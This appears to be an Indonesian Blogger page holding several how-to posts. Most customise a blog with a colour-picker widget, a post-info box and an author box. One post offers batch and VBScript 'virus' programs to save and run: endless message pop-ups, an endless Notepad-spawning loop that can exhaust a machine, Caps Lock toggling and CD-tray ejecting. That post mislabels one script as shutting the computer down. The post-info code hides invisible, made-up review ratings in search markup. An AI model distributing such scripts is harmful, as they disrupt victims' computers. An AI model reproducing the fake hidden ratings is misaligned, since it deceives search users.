Shicidaime Security

19.24

Cara Membuat Wiget Kode Warna di Blog

kali ini saya akan berbagi lagi, judulnya "Cara Membuat Wiget Kode Warna di Blog", pasti sobat tidak aneh lagi mendengar kalimat "Cara Membuat Wiget Kode Warna di Blog", untuk lebih mengenalnya lihatlah screenshoot nya di bawah ini (klik gambar untuk melihat lebih jelas lagi) :

Demo

Sudah tau kan maksud saya, oke kalo begitu langsung saja ke tutorialnya ya, berikut tutorialnya:

Buat Entri Baru/Postingan Baru

Pada menu pembuatan artikel, pilih/klik tab menu HTML (Biasanya ada di pojok kiri atas, dekat tab Compose)

Copy script di bawah ini didalam HTML (di postingan)

<div dir="ltr" style="text-align: left;" trbidi="on">
<div style="text-align: center;">
<span style="background-color: white; color: #555555; font-family: Roboto, Arial, Oswald, Helvetica, sans-serif; font-size: 13.333333969116211px; line-height: 23.399999618530273px;"><br /></span>
<span style="background-color: white; color: #555555; font-family: Roboto, Arial, Oswald, Helvetica, sans-serif; font-size: 13.333333969116211px; line-height: 23.399999618530273px;"><object border="0" classid="clsid:D27CDB6E-AE6D-11CF-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0" height="480" id="obj1" width="480"> <param value="http://www.2createawebsite.com/build/color.swf" name="movie"><br /> <param value="High" name="quality"><br /> <embed pluginspage="http://www.macromedia.com/go/getflashplayer" quality="High" src="http://www.2createawebsite.com/build/color.swf" name="obj1" type="application/x-shockwave-flash" width="485" height="485"></embed> </object></span><br />
<span style="background-color: white; color: #555555; font-family: Roboto, Arial, Oswald, Helvetica, sans-serif; font-size: 13.333333969116211px; line-height: 23.399999618530273px;"><br /></span></div>
<span style="background-color: white; color: #555555; font-family: Roboto, Arial, Oswald, Helvetica, sans-serif; font-size: 13.333333969116211px; line-height: 23.399999618530273px;"><br /></span>
<br />
<div style="text-align: center;">
<span style="background-color: white; color: #555555; font-family: Roboto, Arial, Oswald, Helvetica, sans-serif; font-size: 13.333333969116211px; line-height: 23.399999618530273px;"><br /></span>
<span style="background-color: white; color: #555555; font-family: Roboto, Arial, Oswald, Helvetica, sans-serif; font-size: 13.333333969116211px; line-height: 23.399999618530273px;"><object align="middle" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=8,0,0,0" height="480" id="col" width="480"> <param value="sameDomain" name="allowScriptAccess"><br /> <param value="http://www.2createawebsite.com/build/col.swf" name="movie"><br /> <param value="high" name="quality"><br /> <param value="#ffffff" name="bgcolor"><br /> <embed pluginspage="http://www.macromedia.com/go/getflashplayer" quality="high" allowscriptaccess="sameDomain" type="application/x-shockwave-flash" src="http://www.2createawebsite.com/build/col.swf" bgcolor="#ffffff" name="col" width="480" align="middle" height="480"></embed> </object></span></div>
</div>

Jika sudah dicopy paste, simpan postingan sobat dengan cara mengklik Publiskan (di kanan atas), dan lihat hasilnya, selamat mencoba dan semoga berhasil, jika sobat kurang paham dengan tutorial kali ini, bisa sobat tanyakan dengan cara berkomentar dibawah postingan ini.

Rahmat

03.23

1 komentar

Cara Membuat Virus PC Dengan Notepad

Komputer/laptop kalian pernah terinfeksi virus?, beberapa waktu yang lalu laptop saya terkena virus yang cukup menjengkelkan, data-data dalam hardisk hilang saya sangat jengkel dengan virus tersebut. Saya scan menggunakan Avast Antivirus ternyata berhasil :D.

Kali ini saya akan share tutorial bagaimana Cara membuat Virus Sederhana Dengan Notepad. Ingat tutorial ini hanya untuk pengetahuan saja ya!. jadi jangan di salah gunakan. Ok simak tutorial berikut

1. Membuat virus Message yang muncul secara terus menerus

Caranya :

~Buka Notepad

~Masukan Script berikut

@ECHO off

:

Begin

msg * Hai ?

msg * lagi apa ?

msg * jangan macam2

msg * rusak nanti ni PC !

msg * udah rusak !

msg * instal ulang aja!!!!

msg * tit............................

GOTO BEGIN

*kata kata diatas bisa di ubah sesuai dengan keinginan kalian

~Setelah itu Save dengan extensi .bat contohnya : Rahmatagung8.bat

2. Membuka notepad secara terus-menerus

Caranya sama seperti diatas bedanya hanya scriptnya

@ECHO off

:top

START %SystemRoot%

\system32\notepad.exe

GOTO top

 Save dengan extensi .bat

3. komputer mati sendiri dan ngirim message script nya

Set wshShell

=wscript.CreateObject

("WScript.Shell")

do

wscript.sleep 100

wshshell.sendkeys "{CAPSLOCK}"

loop

Save dengan extensi .vbs

4. Virus membuka tutup cd room terus menerus

Set oWMP = CreateObject

("WMPlayer.OCX.7")

Set colCDROMs =

oWMP.cdromCollection

do

if colCDROMs.Count &gt;= 1 then

For i = 0 to colCDROMs.Count - 1

colCDROMs.Item(i).Eject

Next

For i = 0 to colCDROMs.Count - 1

colCDROMs.Item(i).Eject

Next

End If

wscript.sleep 5000

loop

simpan dengan .vbs

Yap, mungkin itu saja yang bisa saya bagikan, mudah kan cara buatnya? hhe. Silahkan di pelajari dan jangan di salah gunakan.

Rahmat

03.23

0 komentar

Cara Membuat Informasi Postingan SEO Friendly

Alhamdulillah, masih diberi kesempatan buat sharing/berbagi lagi...
Kali Ini saya akan memberi Tau Cara membuat informasi postingan? , nah kali ini saya akan memberitahukan bagaimana cara nya ..

Cara-nya :

Langkah 1 : Masuk Blogger, klik menu Template → Edit HTML

Langkah 2 : Setelah itu, cari kode <div class='comments' id='comments'> lalu simpan kode di bawah ini tepat di atas nya :


<!-- Info Postingan Awal -->
<b:if cond='data:blog.pageType == &quot;item&quot;'> 
 <div id='info-postingan'>
<div class='post_byfix radius shadow'>
<div class='post_by'>
<div class='post_byimz'>
<b:if cond='data:post.thumbnailUrl'>
<img class='post-thumbnail radius' expr:alt='data:post.title' expr:src='data:post.thumbnailUrl'/>
 <b:else/>
<img alt='no image' class='post-thumbnail radius' src='https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEil_6S5hl143QBMsuV_cxRKutryI4v9SC7PKmSAJFQnyCQSc-YJGZAwYi3VACGBthnfM55GH1jnL5_2WkWtnp8DCUr0vjpG25D0afFqtSElpSP7LN4DUHMiH-ZP_lMFpjn6c1bro21IiUyO/s1600/no_image.jpg'/>
</b:if>
</div>

<ul>
  <li><b>Judul :</b> <a expr:href='data:post.url' expr:title='data:post.title'><data:post.title/></a></li>
<li><b>Penulis :</b> <span class='post-author vcard'> <span class='fn'><a class='g-profile' expr:href='data:post.authorProfileUrl' rel='author' target='_blank'><data:post.author/></a></span></span></li>
<li><b>Kategori :</b> <span class='post-labels'>
        <b:if cond='data:post.labels'>          
          <b:loop values='data:post.labels' var='label'>
            <a expr:href='data:label.url' rel='tag'><data:label.name/></a><b:if cond='data:label.isLast != &quot;true&quot;'> <i class='icon-angle-right'/> </b:if>
          </b:loop>
        </b:if>
      </span></li>
<li>
<div itemscope='' itemtype='http://data-vocabulary.org/Review-aggregate'>
  <b>Rating :</b> <span itemprop='rating' itemscope='' itemtype='http://data-vocabulary.org/Rating'>
<span itemprop='average'>100%</span>
</span>
    based on <span itemprop='votes'>10</span> ratings.
    <span itemprop='count'>5</span> user reviews.
</div>
</li>
</ul>
</div>

</div>

<div itemscope='' itemtype='http://data-vocabulary.org/Review'>
<div style='position:fixed;z-index:-500;opacity:0;top:0px;left:0px;'>  
<div itemscope='' itemtype='http://data-vocabulary.org/Review-aggregate'>
Item Reviewed: <span itemprop='itemreviewed'><data:post.title/></span>
<span itemprop='rating' itemscope='' itemtype='http://data-vocabulary.org/Rating'> <span itemprop='average'>9</span> out of <span itemprop='best'>10</span> based on <span itemprop='votes'>10</span> ratings. <span itemprop='count'>9</span> user reviews.
</span>
</div>
</div>
</div>
    </div>
<div class='clear'/>
</b:if>
<!-- Info Postingan Akhir -->

Langkah 3 - Terakhir simpan kode CSS dibawah ini tepat sebelum/di atas kode </head> :

<style>
.post_byfix {
    float: left;
    background: #fff;
    width: 100%;
    overflow: hidden;
    clear: both;
    margin-bottom: 10px;
}

.post_byimz {
    display: block;
    float: left;
    padding: 4px!important;
    margin-left: 2px!important;
    padding-right: 10px!important;
    margin-top: 5px!important;
    overflow: hidden;
}

.post_byimz img {
    width: 80px;
    height: 80px;
    -webkit-border-radius: 5px;
    -moz-border-radius: 5px;
    border-radius: 5px;
}

.post_by {
    float: right;
    color: #423119;
    width: 100%;
    font-family: arial,Helvetica,san-serif;
    font-weight: 400;
    font-size: 11px;
}

.post_by ul {
    margin: 0;
    padding: 0;
    margin-top: 9px;
}

.post_by li {
    list-style: none;
    padding: 3px 10px!important;
}
</style>

Selesai .. Semoga Bermanfaat ^_^

Rahmat

03.22

0 komentar

Cara Membuat Author Box dibawah Postingan

Cara Membuat Author Box dibawah Postingan - Author box atau kotak penulis merupakan suatu pesan yang disampaikan author atau penulis blogg kepada pembaca blog, entar apa pesan yang akan disampaikan tergantung kita sendiri sebagai pemilik blog tersebut. Dengan menggunakan Author Boxseperti ini biasanya foto Google+ kita bisa tampil di hasil pencarian google. Author box dibawah postingan ini sudah ada fitur share artikel yang akan mempermudah pembaca blog membagikan artikel Anda ke berbagai social media sperti Facebook, Twitter, Google+ dan Lintasme.

Cara membuat author box dibawah postingan blog seperti ini memang cukup mudah Anda hanya perlu memasang kode CSS dan juga HTML setelah itu mengganti beberapa kode yang diperlukan lalu selesai. Author Box ini juga sudah valid html5 jadi Anda tidak usah takut kalau blog Anda tidak akan valid html5 dengan kode ini. Langsung saja bagi Anda yang ingin memasang author box dibawah postingan blog silahkan baca tutorialnya dibawah ini :

1. Masuk ke Blogger.com
2. Klik Template => Edit HTML
3. Cari kode ]]></b:skin>
4. Copy kode dibawah ini, lalu Paste diatas kode ]]></b:skin>

/*BOX AUTHOR*/
.boxauthor{position:relative;border:1px solid #000;background:#eee;box-shadow:0 0 5px #444 inset;margin:25px 0 15px;padding:10px}
.boxtitle h3{color:#000;font:bold 14px Electrolize;background:#eee;width:103.3%;display:block;position:relative;border:1px solid #000;box-shadow:0 0 5px #444 inset,0px 0 5px #000;margin:0 0 0 -22px;padding:7px 0 7px 25px}
.boxtitle h3:before{content:&#39;&#39;;position:absolute;bottom:-10px;left:0;width:0;height:0;border-color:#333 transparent transparent;border-style:solid;border-width:10px 0 0 10px}
.boxtitle h3:after{content:&#39;&#39;;position:absolute;bottom:-10px;right:0;width:0;height:0;border-color:transparent transparent transparent #333;border-style:solid;border-width:0 0 10px 10px}
.boxauthor_photo{float:right;background:#eee;position:relative;z-index:999;box-shadow:0 0 5px #000;margin:-21px 0 5px;padding:30px 5px 5px}
.boxauthor_photo:before{content:&#39;&#39;;position:absolute;top:0;right:135px;width:0;height:0;border-color:transparent transparent #333;border-style:solid;border-width:0 0 10px 10px}
.boxauthor_photo:after{content:&#39;&#39;;position:absolute;top:0;right:-10px;width:0;height:0;border-color:transparent transparent #333;border-style:solid;border-width:0 10px 10px 0}
.boxauthor_photo img{width:120px;height:120px;border:2px solid #444}
.boxcontent{font:12px/18px Electrolize,sans-serif;text-align:justify;color:#000;float:left;top:5px;left:0;display:block;position:relative;width:420px}
.boxsocial{background:#eee;margin-left:-22px;width:100%;overflow:hidden;border:1px solid #000;box-shadow:0 0 5px #444 inset,0px 0 5px #000;padding:5px 5px 5px 40px}
.boxsocial :before{content:&#39;&#39;;position:absolute;bottom:0;left:-12px;width:0;height:0;border-color:#333 transparent transparent;border-style:solid;border-width:10px 0 0 10px}
.boxsocial :after{content:&#39;&#39;;position:absolute;bottom:0;right:-12px;width:0;height:0;border-color:transparent transparent transparent #333;border-style:solid;border-width:0 0 10px 10px}
.boxsocial a{text-align:center;background:#111;display:block;color:#fff!important;font:bold 12px Electrolize,sans-serif;text-decoration:none;border:1px solid #000;transition:all 1s ease;box-shadow:2px 2px 0 0 rgba(51,51,51,1)inset;padding:7px 0}
.boxsocial a:hover{box-shadow:0 0 5px #000;border:1px solid #fff}
.boxsocial div{float:left;margin-right:6px;width:88px}
.boxsocial .boxsocialtitle{font:bold 12px Electrolize,sans-serif;text-align:center;text-transform:uppercase;display:block;width:107px;border:1px solid #000;box-shadow:0 0 5px #444 inset;padding:7px 22px}

5. Lalu cari kode <data:post.body/>
6. Copy kode dibawah ini, lalu Paste dibawah kode <data:post.body/>

<div class='boxauthor'>
<div class='boxauthor_photo'>
<img alt='Rahmat Agung' src='https://lh6.googleusercontent.com/-5KuwPTR39qI/AAAAAAAAAAI/AAAAAAAAA3k/jdTIAylw8IA/photo.jpg' title='Rahmat Agung'/>
</div>
<div class='boxtitle'>
<h3>Author : <a expr:href='data:post.authorProfileUrl' rel='author' target='_blank' title='Rahmat Agung'><data:post.author/></a></h3></div>
<div class='boxcontent'>
Terimakasih, telah membaca artikel mengenai <b><a expr:href='data:post.url' expr:title='data:post.title'><data:post.title/></a></b>. Semoga artikel tersebut bermanfaat untuk Anda. Mohon untuk memberikan 1+ pada <a href='https://plus.google.com/100368921380415097230?rel=author' rel='author' target='_blank' title='Google+'>Google+</a>, 1 Like pada <a href='https://www.facebook.com/Mr.Shicidaime' rel='me' target='_blank' title='Facebook'>Facebook</a>, dan 1 Follow pada <a href='https://twitter.com/RahmatAgung0' rel='me' target='_blank' title='Twitter'>Twitter</a>. Jika ada pertanyaan atau kritik dan saran silahkan tulis pada kotak komentar yang sudah disediakan.
</div>
<div class='boxsocial'>
<div class='boxsocialtitle'>
Share Artikel
</div>
<div class='boxfb'>
<a expr:href='&quot;http://www.facebook.com/sharer.php?u=&quot; + data:post.url' rel='nofollow' target='_blank' title='Share ke Facebook'>Facebook</a>
</div>
<div class='boxtwit'>
<a expr:href='&quot;http://twittter.com/share?url=&quot; + data:post.url' rel='nofollow' target='_blank' title='Share ke Twitter'>Twitter</a>
</div>
<div class='boxgplus'>
<a expr:href='&quot;https://plus.google.com/share?url=&quot; + data:post.url' rel='nofollow' target='_blank' title='Share ke Google+'>Google+</a>
</div>
<div class='boxltsme'>
<script>
//<![CDATA[
var uri = window.location.href;
var ttle = document.title;
document.write("<a href='http://www.lintas.me/?c=bookmarklet&url="+uri+"&title="+ttle+"' rel='nofollow' target='_blank' title='Share ke Lintasme'>Lintasme</a>");
//]]>
</script>
</div>
</div>
</div>

7. Klik Simpan Template

Catatan :
- Ganti kode Rahmat Agung dengan Nama Anda.
- Ganti kode Mr.Shicidaime dan RahmatAgung0 dengan ID Anda (Facebook, Google, dan Twitter).
- Untuk mengganti warna kotak penulis atau author box silahkan pilih warnanya disini Kode Warna.
- #eee adalah warna dasar (background).

Sekian artikel mengenai Cara Membuat Author Box dibawah Postingan. Kurang lebihnya mohon maaf.
Semoga Bermanfaat...

Shicidaime Security

Mengenai Saya

Arsip Blog

Cara Membuat Wiget Kode Warna di Blog

Cara Membuat Virus PC Dengan Notepad

Cara Membuat Informasi Postingan SEO Friendly

Cara-nya :

Cara Membuat Author Box dibawah Postingan

Popular Posts

Tags